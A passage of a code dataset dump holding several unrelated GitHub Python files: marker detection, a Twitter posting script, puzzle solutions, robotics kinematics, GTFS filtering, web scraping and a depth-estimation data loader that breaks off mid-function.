aruco_dict = aruco.getPredefinedDictionary(aruco.DICT_5X5_250)\r\n parameters = aruco.DetectorParameters_create()\r\n (corners, ids,rejected) = aruco.detectMarkers(\r\n gray, aruco_dict, parameters=parameters)\r\n\r\n ids = ids.flatten()\r\n # print(ids)\r\n\r\n for (corner,id) in zip(corners,ids):\r\n corners = corner.reshape((4,2))\r\n (topLeft,topRight,bottomRight,bottomLeft) = corners\r\n\r\n topRight = (int(topRight[0]),int(topRight[1]))\r\n topLeft = (int(topLeft[0]),int(topLeft[1]))\r\n bottomRight = (int(bottomRight[0]),int(bottomRight[1]))\r\n bottomLeft = (int(bottomLeft[0]),int(bottomLeft[1]))\r\n\r\n cornerCords = [topLeft,topRight,bottomLeft,bottomRight]\r\n\r\n\r\n center_x = int((topLeft[0]+ bottomRight[0])/2)\r\n center_y = int((topLeft[1]+ bottomRight[1])/2)\r\n\r\n centerCords = [center_x,center_y]\r\n\r\n # angle\r\n\t\t\r\n angle = (math.atan2(((topRight[0])-(topLeft[0])),((topRight[1]-topLeft[1]))))\r\n\t\t# print((round(math.degrees(angle)))%360)\r\n if angle<0:\r\n angle = (round(math.degrees(angle)))+360\r\n else:\r\n angle = round(math.degrees(angle))\r\n\r\n\r\n\r\n data = [centerCords,angle,cornerCords]\r\n\r\n ArUco_details_dict[id] = data\r\n ArUco_corners[id] = cornerCords \r\n\r\n\r\n ##################################################\r\n\r\n return ArUco_details_dict, ArUco_corners\r\n\r\n######### YOU ARE NOT ALLOWED TO MAKE CHANGES TO THE CODE BELOW #########\r\n\r\n# marking the Qr code with center and message\r\n\r\n\r\ndef mark_Qr_image(image, Qr_codes_details):\r\n for message, center in Qr_codes_details.items():\r\n encrypted_message = message\r\n x_center = int(center[0])\r\n y_center = int(center[1])\r\n\r\n cv2.circle(img, (x_center, y_center), 5, (0, 0, 255), -1)\r\n cv2.putText(image, str(encrypted_message), (x_center + 20,\r\n y_center + 20), cv2.FONT_HERSHEY_COMPLEX, 1, (255, 255, 0), 2)\r\n\r\n return image\r\n\r\n# marking the ArUco marker with the center, angle and corners\r\n\r\n\r\ndef mark_ArUco_image(image, ArUco_details_dict, ArUco_corners):\r\n\r\n for ids, details in ArUco_details_dict.items():\r\n center = details[0]\r\n cv2.circle(image, center, 5, (0, 0, 255), -1)\r\n\r\n corner = ArUco_corners[int(ids)]\r\n cv2.circle(image, (int(corner[0][0]), int(\r\n corner[0][1])), 5, (50, 50, 50), -1)\r\n cv2.circle(image, (int(corner[1][0]), int(\r\n corner[1][1])), 5, (0, 255, 0), -1)\r\n cv2.circle(image, (int(corner[2][0]), int(\r\n corner[2][1])), 5, (128, 0, 255), -1)\r\n cv2.circle(image, (int(corner[3][0]), int(\r\n corner[3][1])), 5, (255, 255, 255), -1)\r\n\r\n tl_tr_center_x = int((corner[0][0] + corner[1][0]) / 2)\r\n tl_tr_center_y = int((corner[0][1] + corner[1][1]) / 2)\r\n\r\n cv2.line(image, center, (tl_tr_center_x,\r\n tl_tr_center_y), (255, 0, 0), 5)\r\n display_offset = 2 * \\\r\n int(math.sqrt(\r\n (tl_tr_center_x - center[0])**2+(tl_tr_center_y - center[1])**2))\r\n cv2.putText(image, str(ids), (center[0]+int(display_offset/2),\r\n center[1]), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 255), 2)\r\n angle = details[1]\r\n cv2.putText(image, str(\r\n angle), (center[0]-display_offset, center[1]), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 255, 0), 2)\r\n\r\n return image\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\r\n # path directory of images in test_images folder\r\n img_dir_path = \"public_test_cases/\"\r\n\r\n # choose whether to test Qr or ArUco images\r\n choice = input('\\nWhich images do you want to test ? => \"q\" or \"a\": ')\r\n\r\n if choice == 'q':\r\n\r\n marker = 'qr'\r\n\r\n else:\r\n\r\n marker = 'aruco'\r\n\r\n for file_num in range(0, 2):\r\n img_file_path = img_dir_path + marker + '_' + str(file_num) + '.png'\r\n\r\n # read image using opencv\r\n img = cv2.imread(img_file_path)\r\n\r\n print('\\n============================================')\r\n print('\\nFor ' + marker + str(file_num) + '.png')\r\n\r\n # testing for Qr images\r\n if choice == 'q':\r\n Qr_codes_details = detect_Qr_details(img)\r\n print(\"Detected details of Qr: \", Qr_codes_details)\r\n\r\n # displaying the marked image\r\n img = mark_Qr_image(img, Qr_codes_details)\r\n cv2.imshow(\"img\", img)\r\n cv2.waitKey(0)\r\n cv2.destroyAllWindows()\r\n\r\n # testing for ArUco images\r\n else:\r\n ArUco_details_dict, ArUco_corners = detect_ArUco_details(img)\r\n print(\"Detected details of ArUco: \", ArUco_details_dict)\r\n\r\n # displaying the marked image\r\n img = mark_ArUco_image(img, ArUco_details_dict, ArUco_corners)\r\n cv2.imshow(\"img\", img)\r\n cv2.waitKey(0)\r\n cv2.destroyAllWindows()\r\n","repo_name":"nirans2002/eyantra-2022-archive","sub_path":"PB_Task1_Ubuntu/PB_Task1_Ubuntu/Task1B/task_1b.py","file_name":"task_1b.py","file_ext":"py","file_size_in_byte":8817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"36510079571","text":"#!/usr/bin/python\n#coding: utf-8\nimport os\nimport json\nimport sys\nsys.path.append('/usr/local/lib/python3.8/site-packages')\nfrom requests_oauthlib import OAuth1Session\n\nconsumer_key = \"\"\nconsumer_secret = \"\"\n\ntwtmsg = sys.argv[1]\n\n# Be sure to add replace the text of the with the text you wish to Tweet. You can also add parameters to post polls, quote Tweets, Tweet with reply settings, and Tweet to Super Followers in addition to other features.\npayload = {\"text\": twtmsg}\n\naccess_token = \"\"\naccess_token_secret = \"\"\n\n# Make the request\noauth = OAuth1Session(\n consumer_key,\n client_secret=consumer_secret,\n resource_owner_key=access_token,\n resource_owner_secret=access_token_secret,\n)\n\n# Making the request\nresponse = oauth.post(\n \"https://api.twitter.com/2/tweets\",\n json=payload,\n)\nif response.status_code != 201:\n raise Exception(\n \"Request returned an error: {} {}\".format(response.status_code, response.text)\n )\n\nprint(\"Response code: {}\".format(response.status_code))\n\n# Saving the response as JSON\njson_response = response.json()\nprint(json.dumps(json_response, indent=4, sort_keys=True))","repo_name":"sakurai-yt/aws-mytools","sub_path":"ZABBIX/STMS/twitter-posts/post.py","file_name":"post.py","file_ext":"py","file_size_in_byte":1131,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"20466919077","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# http://community.topcoder.com/stat?c=problem_statement&pm=1889&rd=4709\n\nfrom unittest import TestCase, main\nimport pudb\n\nclass AvoidRoads:\n\tdef parse_bad(self, bad):\n\t\tnew_bad = []\n\n\t\tfor elem in bad:\n\t\t\tsubelems = elem.split(' ')\n\t\t\tif len(subelems) != 4:\n\t\t\t\traise ValueError()\n\n\t\t\tp1 = (int(subelems[0]), int(subelems[1]))\n\t\t\tp2 = (int(subelems[2]), int(subelems[3]))\n\n\t\t\tif p1[0] <= p2[0]:\n\t\t\t\tnew_bad.append( (p1, p2) )\n\t\t\telse:\n\t\t\t\tnew_bad.append( (p2, p1) )\n\n\t\treturn new_bad\n\n\n\tdef numWays(self, width, height, bad):\n\t\t#pu.db\n\t\tbad = self.parse_bad(bad)\n\t\t#print \"{0}x{1}: {2}\".format(width, height, bad)\n\t\tspace = [ [ 0 for x in xrange(width + 1) ] for y in xrange(height + 1) ]\n\n\t\tfor y in xrange(height + 1):\n\t\t\tfor x in xrange(width + 1):\n\t\t\t\tif x == 0 and y == 0:\n\t\t\t\t\tspace[y][x] = 1\n\t\t\t\t\tcontinue\n\n\t\t\t\t# Inherit left if not in bad\n\t\t\t\tif ((x-1,y), (x,y)) not in bad and x > 0:\n\t\t\t\t\tspace[y][x] += space[y][x-1]\n\t\t\t\t# Inherit bottom if not in bad\n\t\t\t\tif ((x,y-1), (x,y)) not in bad and y > 0:\n\t\t\t\t\tspace[y][x] += space[y-1][x]\n\n\t\treturn space[height][width]\n\n\n\tdef __call__(self, w, h, bad):\n\t\treturn self.numWays(w, h, bad)\n\n\nclass TestAvoidRoads(TestCase):\n\tdef setUp(self):\n\t\tself.inst = AvoidRoads()\n\n\tdef test_00(self):\n\t\tw = 6\n\t\th = 6\n\t\tbad = [ \"0 0 0 1\", \"6 6 5 6\" ]\n\t\texp = 252\n\t\tret = self.inst(w, h, bad)\n\t\tself.assertEqual( ret, exp )\n\n\n\tdef test_01(self):\n\t\tw = 1\n\t\th = 1\n\t\tbad = [ ]\n\t\texp = 2\n\t\tret = self.inst(w, h, bad)\n\t\tself.assertEqual( ret, exp )\n\n\n\tdef test_02(self):\n\t\tw = 35\n\t\th = 31\n\t\tbad = [ ]\n\t\texp = 6406484391866534976\n\t\tret = self.inst(w, h, bad)\n\t\tself.assertEqual( ret, exp )\n\n\n\tdef test_03(self):\n\t\tw = 2\n\t\th = 2\n\t\tbad = [ \"0 0 1 0\", \"1 2 2 2\", \"1 1 2 1\" ]\n\t\texp = 0\n\t\tret = self.inst(w, h, bad)\n\t\tself.assertEqual( ret, exp )\n\n\nif __name__ == '__main__':\n\tmain()","repo_name":"acaciocenteno/TopCoderExercises","sub_path":"python/AvoidRoads.py","file_name":"AvoidRoads.py","file_ext":"py","file_size_in_byte":1873,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"22410834304","text":"import six\n\nfrom collections import namedtuple\n\nfrom xldlib.general import sequence\n\n# OBJECTS\n# -------\n\n\n@sequence.serializable(\"DeltaFormulaIon\")\nclass DeltaFormulaIon(namedtuple(\"DeltaFormulaIon\", \"name \"\n \"letter formula residues\")):\n\n def __new__(cls, name, letter, formula, residues):\n if isinstance(residues, six.string_types):\n residues = set(residues.split(','))\n\n return super(DeltaFormulaIon, cls).__new__(cls, name,\n letter, formula, residues)\n\n\n@sequence.serializable(\"SequencingIon\")\nclass SequencingIon(namedtuple(\"SequencingIon\", \"series terminus \"\n \"formula z loss addition\")):\n\n def __new__(cls, series, terminus, formula=\"\", z=0,\n loss=None, addition=None):\n if loss is None:\n loss = []\n\n if addition is None:\n addition = []\n\n return super(SequencingIon, cls).__new__(cls, series,\n terminus, formula, z, loss, addition)\n\n\n@sequence.serializable(\"Instrument\")\nclass Instrument(namedtuple(\"Instrument\", \"name charges \"\n \"min_internal_mass max_internal_mass ions\")):\n\n def __new__(cls, name, charges, min_internal_mass=0,\n max_internal_mass=700, ions=None):\n\n if ions is None:\n ions = []\n\n return super(Instrument, cls).__new__(cls, name, charges,\n min_internal_mass, max_internal_mass, ions)\n\n\n# ION CHANGES\n# -----------\n\nWATER_LOSS = DeltaFormulaIon(\"-H2O\", \"o\", \"H-2 O-1\", \"S,T,E,D\")\nAMMONIA_LOSS = DeltaFormulaIon(\"-NH3\", \"n\", \"N-1 H-3\", \"R,K,N,Q\")\n\n# ION SERIES\n# -----------\n\n# NTERM\n# -----\nA_ION = SequencingIon(\"a\", 'N', formula='C-1 O-1')\nA_ION_H2O_NH3 = A_ION._replace(loss=[WATER_LOSS, AMMONIA_LOSS])\n\nB_ION = SequencingIon(\"b\", 'N')\nB_ION_H2O_NH3 = B_ION._replace(loss=[WATER_LOSS, AMMONIA_LOSS])\n\nC_ION = SequencingIon(\"c\", 'N', formula=\"N H3\")\n\n# CTERM\n# -----\nX_ION = SequencingIon(\"x\", \"C\", formula=\"C O H-2\")\n\nY_ION = SequencingIon(\"y\", 'C')\nY_ION_H2O_NH3 = B_ION._replace(loss=[WATER_LOSS, AMMONIA_LOSS])\n\nZ_ION = SequencingIon(\"z\", 'C', formula=\"N-1 H-2\")\nZ1_ION = Z_ION._replace(z=1)\n\n\n# INSTRUMENTS\n# -----------\n\nINSTRUMENTS = {\n 'ESI-TRAP': Instrument('ESI-TRAP', [1, 2], ions=[\n B_ION_H2O_NH3, Y_ION_H2O_NH3]),\n 'ESI-QUAD': Instrument('ESI-QUAD', [1, 2], ions=[\n B_ION_H2O_NH3, Y_ION_H2O_NH3]),\n 'ESI-FTICR-CID': Instrument('ESI-FTICR-CID', [1, 2], ions=[\n B_ION_H2O_NH3, Y_ION_H2O_NH3]),\n # TODO: need to define these ions\n 'ESI-FTICR-ECD': Instrument('ESI-FTICR-ECD', [1, 2], ions=[\n C_ION, Z_ION, Z1_ION]),\n\n 'MALDI-TOF-TOF': Instrument('MALDI-TOF-TOF', [1], ions=[\n A_ION_H2O_NH3, B_ION_H2O_NH3, Y_ION_H2O_NH3]),\n}\n\nCURRENT_INSTRUMENT = 'ESI-TRAP'\n","repo_name":"Alexhuszagh/XLDiscoverer","sub_path":"xldlib/resources/parameters/instruments.py","file_name":"instruments.py","file_ext":"py","file_size_in_byte":2706,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"39616345819","text":"from selenium import webdriver\n\nbrowser = webdriver.Firefox()\nbrowser.get('https://automatetheboringstuff.com')\n# elem = browser.find_element_by_css_selector('.main > div:nth-child(1) > ul:nth-child(21) > li:nth-child(1) > a:nth-child(1)') only one thing matches\n\n# elems = browser.find_elements_by_css_selector('p') find all paragraphs\n# print(len(elems))\n\n# browser.back()\n# browser.forward()\n# browser.refresh()\n# browser.quit()\n\nelem = browser.find_element_by_css_selector('.main > div:nth-child(1) > ul:nth-child(21) > li:nth-child(1) > a:nth-child(1)')\nelem.click()\nnewElem = browser.find_element_by_css_selector('p.noindent:nth-child(3)')\nprint(newElem.text)\n\n# newElem = browser.find_element_by_css_selector('html') copy all text\n# print(newElem.text) print all text of the page\n\n","repo_name":"botezatuemil/Automate-the-Boring-Stuff-with-Python-course","sub_path":"Chapter_13/Control the browser with selenium/SELENIUM module.py","file_name":"SELENIUM module.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"70666408365","text":"from bs4 import BeautifulSoup\nimport nltk\nimport requests\nimport time\n\ndef get_soup(url, delay=1e-4):\n \"\"\"Strip HTML tags from a URL\"\"\"\n \n # req = requests.get(url, headers={'User-agent': 'Super Bot 9000'})\n req = requests.get(url)\n if req.status_code == 200:\n html = req.content\n return BeautifulSoup(html, 'lxml')\n else:\n print(\"{:d} Error\".format(req.status_code))\n return None\n\ndef stripHTML(url):\n \"\"\"Strip HTML tags from a URL\"\"\"\n \n soup = get_soup(url)\n if soup is None: return soup\n \n return soup.get_text(strip=True)\n\ndef url_to_nltk(url, lower=False):\n \"\"\"Load URL directly into NLTK\"\"\"\n\n raw = stripHTML(url)\n if raw is None: return None\n \n if lower:\n raw = raw.lower()\n\n tokens = nltk.word_tokenize(raw)\n return nltk.Text(tokens)\n","repo_name":"dgreenwald/py_tools","sub_path":"scrape.py","file_name":"scrape.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"5629852862","text":"from django.urls import path\nfrom . import views\nurlpatterns = [\n path('', views.index),\n path('create', views.create_book),\n path('books//', views.show_book),\n path('add_authers_to_book/', views.add_auther_to_book),\n path('authers/', views.show_all_authers),\n path('authers/create/', views.create_auther),\n path('authers//', views.show_auther),\n path('add_books_to_auther/', views.add_book_to_auther),\n\n\n\n]\n","repo_name":"Adeenib/python","sub_path":"orm/books_authers/books_authers_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"42932147424","text":"# Remove all non-bus routes, output may contain empty zips if no route is bus\n# route\n\nfrom pathlib import Path\nimport partridge as ptg\nimport logging\nfrom BusGAN.project.utils import configure_logging\nimport os\n\nINPUT_GTFS_FOLDER_NAME = 'raw'\nOUTPUT_GTFS_FOLDER_NAME = 'filtered_bus_feeds'\n\ndata_dir_path = Path('../../data/gtfs')\nin_dir_path = data_dir_path / INPUT_GTFS_FOLDER_NAME\n\nout_dir_path = data_dir_path / OUTPUT_GTFS_FOLDER_NAME\nout_dir_path.mkdir(parents=True, exist_ok=True)\n\nlog_name = os.path.basename(__file__).rsplit('.', 1)[0]\nconfigure_logging(data_dir_path, log_name)\nlogger = logging.getLogger(log_name)\n\nview = {\n 'routes.txt': {'route_type': 3}\n}\nconfig = ptg.config.default_config()\n# MUST NOT PRUNE STOPS IN ORDER NOT TO PRUNE PARENT STATIONS\n# https://github.com/remix/partridge/issues/20\nconfig.remove_edges_from(list(config.out_edges('stops.txt')))\n\ntotal_gtfs_files = sum(1 for _ in in_dir_path.glob('*.zip'))\ncounter = 0\nsuccessful = 0\n\nfiltered_GTFS_data = [gtfs_filepath.name\n for gtfs_filepath in out_dir_path.glob('*.zip')]\nprev_filtered = len(filtered_GTFS_data)\n\nfor gtfs_filepath in in_dir_path.glob('*.zip'):\n counter = counter + 1\n gtfs_name = gtfs_filepath.name\n if gtfs_name in filtered_GTFS_data:\n logger.info(f'Skipping {gtfs_name} ({counter}/{total_gtfs_files}),'\n f' GTFS file already filtered')\n continue\n try:\n logger.info(f'Filtering {gtfs_name} ({counter}/{total_gtfs_files})')\n ptg.extract_feed(str(gtfs_filepath),\n str(out_dir_path/gtfs_name),\n view,\n config)\n successful = successful + 1\n logger.info(f'Success')\n except Exception as e:\n logger.exception(f'Error occured while filtering {gtfs_name}: {e}')\n\nlogger.info(f'Filtered {successful}/{total_gtfs_files - prev_filtered}'\n f' new GTFS files')\nlogger.info(f'In total {prev_filtered + successful}/{total_gtfs_files}'\n f' files have been filtered')\n","repo_name":"PaschalisSk/bus-routes-with-CNNs","sub_path":"src/gtfs_prep/filter_bus_feeds.py","file_name":"filter_bus_feeds.py","file_ext":"py","file_size_in_byte":2057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"28617062324","text":"def solution(cacheSize, cities):\n answer = 0\n cache = []\n if cacheSize == 0:\n answer = len(cities) * 5\n return answer\n for city in cities:\n city = city.lower()\n if city not in cache:\n if len(cache) < cacheSize:\n cache.append(city)\n else:\n cache.pop(0)\n cache.append(city)\n answer += 5\n else:\n cache.pop(cache.index(city))\n cache.append(city)\n answer += 1\n return answer\n\n\nprint(solution(3, [\"Jeju\", \"Pangyo\", \"NewYork\", \"newyork\"]))","repo_name":"98-jeonghoon/Algorithm","sub_path":"Programmers/[1차]캐시.py","file_name":"[1차]캐시.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"19978194576","text":"#!/usr/bin/env python\n\nimport rospy\nfrom math import pi\nimport numpy as np\nimport tf2_ros\nfrom sensor_msgs.msg import JointState\nfrom geometry_msgs.msg import TransformStamped, Quaternion\nfrom trajectory_msgs.msg import JointTrajectory\n\n\nclass youbot_kinematic(object):\n\n def __init__(self):\n\n self.dh_params = [[-0.033, pi/2, 0.145, pi],\n [0.155, 0.0, 0.0, pi/2],\n [0.135, 0.0, 0.0, 0.0],\n [-0.002, pi/2, 0.0, -pi/2],\n [0.0, pi, -0.185, pi]]\n\n self.joint_offset = [170*pi/180, 65*pi/180, -146*pi/180, 102.5*pi/180, 167.5*pi/180]\n\n self.current_joint_position = [0.0, 0.0, 0.0, 0.0, 0.0]\n\n self.joint_limit_min = [-169*pi/180, -65*pi/180, -150*pi/180, -102.5*pi/180, -167.5*pi/180]\n self.joint_limit_max = [169*pi/180, 90*pi/180, 146*pi/180, 102.5*pi/180, 167.5*pi/180]\n\n self.joint_state_sub = rospy.Subscriber('/joint_states', JointState, self.joint_state_callback,\n queue_size=5)\n self.traj_publisher = rospy.Publisher('/EffortJointInterface_trajectory_controller/command', JointTrajectory,\n queue_size=5)\n\n self.pose_broadcaster = tf2_ros.TransformBroadcaster()\n\n def dh_matrix_standard(self, a, alpha, d, theta):\n A = np.zeros((4, 4))\n\n A[0, 0] = np.cos(theta)\n A[0, 1] = -np.sin(theta) * np.cos(alpha)\n A[0, 2] = np.sin(theta) * np.sin(alpha)\n A[0, 3] = a * np.cos(theta)\n\n A[1, 0] = np.sin(theta)\n A[1, 1] = np.cos(theta) * np.cos(alpha)\n A[1, 2] = -np.cos(theta) * np.sin(alpha)\n A[1, 3] = a * np.sin(theta)\n\n A[2, 1] = np.sin(alpha)\n A[2, 2] = np.cos(alpha)\n A[2, 3] = d\n\n A[3, 3] = 1.0\n\n return A\n\n def joint_state_callback(self, msg):\n for i in range(0, 5):\n self.current_joint_position[i] = msg.position[i]\n\n current_pose = self.forward_kine_offset(self.current_joint_position, 5)\n self.broadcast_pose(current_pose)\n\n\n def forward_kine(self, joint, frame):\n T = np.identity(4)\n\n for i in range(0, 5):\n A = self.dh_matrix_standard(self.dh_params[i][0], self.dh_params[i][1], self.dh_params[i][2],\n joint[i] + self.dh_params[i][3])\n\n T = T.dot(A)\n\n return T\n\n\n def forward_kine_offset(self, joint, frame):\n T = np.identity(4)\n\n for i in range(0, 5):\n if (i == 0):\n A = self.dh_matrix_standard(self.dh_params[i][0], self.dh_params[i][1], self.dh_params[i][2],\n self.joint_offset[i] - (joint[i] + self.dh_params[i][3]))\n else:\n A = self.dh_matrix_standard(self.dh_params[i][0], self.dh_params[i][1], self.dh_params[i][2],\n (joint[i] + self.dh_params[i][3]) - self.joint_offset[i])\n\n T = T.dot(A)\n\n return T\n\n\n def broadcast_pose(self, pose):\n\n transform = TransformStamped()\n\n transform.header.stamp = rospy.Time.now()\n transform.header.frame_id = 'base_link'\n transform.child_frame_id = 'arm_end_effector'\n\n transform.transform.translation.x = pose[0, 3]\n transform.transform.translation.y = pose[1, 3]\n transform.transform.translation.z = pose[2, 3]\n transform.transform.rotation = self.rotmat2q(pose)\n\n self.pose_broadcaster.sendTransform(transform)\n\n def rotmat2q(self, T):\n q = Quaternion()\n\n angle = np.arccos((T[0, 0] + T[1, 1] + T[2, 2] - 1) / 2)\n\n xr = T[2, 1] - T[1, 2]\n yr = T[0, 2] - T[2, 0]\n zr = T[1, 0] - T[0, 1]\n\n x = xr / np.sqrt(np.power(xr, 2) + np.power(yr, 2) + np.power(zr, 2))\n y = yr / np.sqrt(np.power(xr, 2) + np.power(yr, 2) + np.power(zr, 2))\n z = zr / np.sqrt(np.power(xr, 2) + np.power(yr, 2) + np.power(zr, 2))\n\n q.w = np.cos(angle / 2)\n q.x = x * np.sin(angle / 2)\n q.y = y * np.sin(angle / 2)\n q.z = z * np.sin(angle / 2)\n\n return q\n\n def get_jacobian(self, joint):\n ##TODO: Fill in this function to complete the question 3a\n raise NotImplementedError() #Remove this line, once implemented everything\n\n def inverse_kine_closed_form(self, desired_pose):\n ##TODO: Fill in this function to complete the question 3c\n raise NotImplementedError() #Remove this line, once implemented everything\n\n def inverse_kine_ite(self, desired_pose, current_joint):\n ##TODO: Fill in this function to complete the question 3d\n raise NotImplementedError() #Remove this line, once implemented everything\n\n def publish_joint_trajectory(self, joint_trajectory, tfs):\n ##TODO: Fill in this function to publish the joint trajectory (as part of question 4)\n raise NotImplementedError() #Remove this line, once implemented everything\n\n def check_singularity(self, current_joint):\n ##TODO: Fill in this function to complete the question 3e\n raise NotImplementedError() # Remove thie line, once implemented everything\n","repo_name":"ucabwl2/robotics_system_hw","sub_path":"cw2/cw2q4/src/cw2q4/youbotKine.py","file_name":"youbotKine.py","file_ext":"py","file_size_in_byte":5221,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"38576553221","text":"from functools import partial\nfrom inspect import iscoroutinefunction\nfrom math import ceil\nfrom typing import Generator, Optional, Union, Any, Type\n\nfrom asyncio_pool import AioPool\nfrom tqdm import tqdm\n\nfrom consts.api_consts import AIO_POOL_SIZE\nfrom consts.typing_consts import AF, F\n\n\nclass DataChunksGenerator:\n def __init__(self, chunk_size: int = 50, max_chunks_number: Optional[int] = 5):\n self._chunk_size = chunk_size\n self._max_chunks_number = max_chunks_number\n\n async def execute_by_chunk_in_parallel(self,\n lst: list,\n filtering_list: Optional[list],\n element_func: AF,\n chunk_func: F,\n expected_type: Type[Any]):\n chunks = self.generate_data_chunks(lst=lst, filtering_list=filtering_list)\n\n for chunk in chunks:\n results = await self._execute_single_chunk(element_func, chunk)\n valid_results = [res for res in results if isinstance(res, expected_type)]\n chunk_func(valid_results)\n\n async def execute_by_chunk(self, lst: list, filtering_list: Optional[list], func: Union[F, AF]) -> None:\n chunks = self.generate_data_chunks(lst, filtering_list)\n\n for i, chunk in enumerate(chunks):\n if iscoroutinefunction(func):\n await func(chunk)\n else:\n func(chunk)\n\n def generate_data_chunks(self, lst: list, filtering_list: Optional[list]) -> Generator[list, None, None]:\n if filtering_list is not None:\n lst = [artist for artist in lst if artist not in filtering_list]\n\n total_chunks = ceil(len(lst) / self._chunk_size)\n n_chunks = total_chunks if self._max_chunks_number is None else min(total_chunks, self._max_chunks_number)\n current_chunk = 0\n\n for i in range(0, len(lst), self._chunk_size):\n if current_chunk == n_chunks:\n break\n\n print(f'Generating chunk {self._get_chunk_number(i)} out of {n_chunks} (Total: {total_chunks})')\n yield lst[i: i + self._chunk_size]\n current_chunk += 1\n\n async def _execute_single_chunk(self, func: AF, chunk: list) -> Any:\n pool = AioPool(AIO_POOL_SIZE)\n\n with tqdm(total=len(chunk)) as progress_bar:\n func = partial(self._execute_single_element, progress_bar, func)\n return await pool.map(func, chunk)\n\n @staticmethod\n async def _execute_single_element(progress_bar: tqdm, func: AF, element: Any) -> Any:\n result = await func(element)\n progress_bar.update(1)\n\n return result\n\n def _get_chunk_number(self, index: int) -> int:\n chunk_number = (index / self._chunk_size) + 1\n return int(chunk_number)\n","repo_name":"nirgodin/RadioStations","sub_path":"tools/data_chunks_generator.py","file_name":"data_chunks_generator.py","file_ext":"py","file_size_in_byte":2878,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"19"} +{"seq_id":"38571455751","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Sep 2 10:51:35 2020\r\n\r\n@author: Shaodong\r\n\"\"\"\r\nimport os\r\nimport tensorflow as tf\r\nfrom tensorflow.compat.v1.keras import backend as K\r\nos.environ[\"CUDA_VISIBLE_DEVICES\"]=\"4,5\"\r\nconfig = tf.compat.v1.ConfigProto()\r\nconfig.gpu_options.allow_growth=True\r\nsess = tf.compat.v1.InteractiveSession(config=config)\r\nK.set_session(sess)\r\nfrom model import Unet, optimizer, train, loss\r\nimport time, csv\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport imageio\r\nfrom numpy import genfromtxt\r\nimport random\r\nimport gc\r\nimport pickle\r\nimport shutil\r\n\r\ntf.random.set_seed(1234)\r\nrandom.seed(1234)\r\ntf.keras.backend.set_floatx('float32')\r\n\r\n\r\nINPUT_HEIGHT = 512 \r\nINPUT_WIDTH = 512 \r\nOUTPUT_HEIGHT = 512 \r\nOUTPUT_WIDTH = 512 \r\nBATCH_SIZE = 4\r\nNUM_EPOCH = 700\r\n\r\nin_path = '../data/objects_cad_animal_sun_081920/'\r\nout_path = '../results/objects_cad_animal_sun_101920/'\r\ncheckpoint_dir = '../data/tmp/trained_model/'+\\\r\n 'objects_cad_animal_sun_101920_checkpoints/'\r\n\r\n\"\"\"\r\nLoad data from digital twin for neural network training and testing.\r\nargs:\r\n in_path: str\r\n path of the dataset, e.g. in_path = '../data/objects_cad_animal_sun_081820/'\r\nreturn:\r\n train_ds: tf dataset with batch\r\n train_ds = (X_train, y_train)\r\n X_train: [BATCH, INPUT HEIGHT, INPUT WIDTH, 1]\r\n y_train: [BATCH, OUTPUT HEIGHT, OUTPUT WIDTH, 2]\r\n y_train[:,:,:,0] is the ground truth of depth (z).\r\n y_train[:,:,:,1] is the mask of background. 'Mask == 0' indicates background\r\n Note train_ds will be shuffled every training epoch.\r\n test_ds: tf dataset with batch\r\n test_ds = (X_test, y_test)\r\n X_test: [BATCH, INPUT HEIGHT, INPUT WIDTH, 1]\r\n y_test: [BATCH, OUTPUT HEIGHT, OUTPUT WIDTH, 2]\r\n y_test[:,:,:,0] is the ground truth of depth (z).\r\n y_test[:,:,:,1] is the mask of background. 'Mask == 0' indicates background\r\n image_idx_test: 1D numpy array\r\n Image index/name of the testing data, which could be used to \r\n index the depth plot.\r\n\"\"\"\r\ndef load_digital_data(in_path):\r\n X_lst = []\r\n y_lst = []\r\n mask_lst = []\r\n image_idx_lst = []\r\n # load data to lists\r\n for i in os.listdir(in_path):\r\n if not os.path.exists(os.path.join(in_path, i, 'z.csv')):\r\n continue\r\n x_loc = os.path.join(in_path, i, '2.png')\r\n y_loc = os.path.join(in_path, i, 'z.csv')\r\n mask_loc = os.path.join(in_path, i, 'mask.csv')\r\n tmp_x = imageio.imread(x_loc).astype('float32')[1:-1, 16:-16]\r\n tmp_y = genfromtxt(y_loc, delimiter=',', dtype='float32')[1:-1, 16:-16]\r\n tmp_mask = genfromtxt(mask_loc, delimiter=',', dtype='float32')[1:-1, 16:-16]\r\n if np.isnan(tmp_x).sum()==0 and np.isnan(tmp_y).sum()==0:\r\n X_lst.append(tmp_x)\r\n y_lst.append(tmp_y)\r\n mask_lst.append(tmp_mask)\r\n image_idx_lst.append(i)\r\n \r\n # transfer loaded data in lists to numpy array\r\n X = np.array(X_lst).astype('float32')\r\n y = np.array(y_lst).astype('float32')\r\n mask = np.array(mask_lst).astype('float32')\r\n del X_lst, y_lst, mask_lst\r\n \r\n # Add a channels dimension to fit the input of the neural network\r\n X = X[..., tf.newaxis]\r\n y = y[..., tf.newaxis]\r\n mask = mask[..., tf.newaxis]\r\n # y[:,:,:,1] is defined 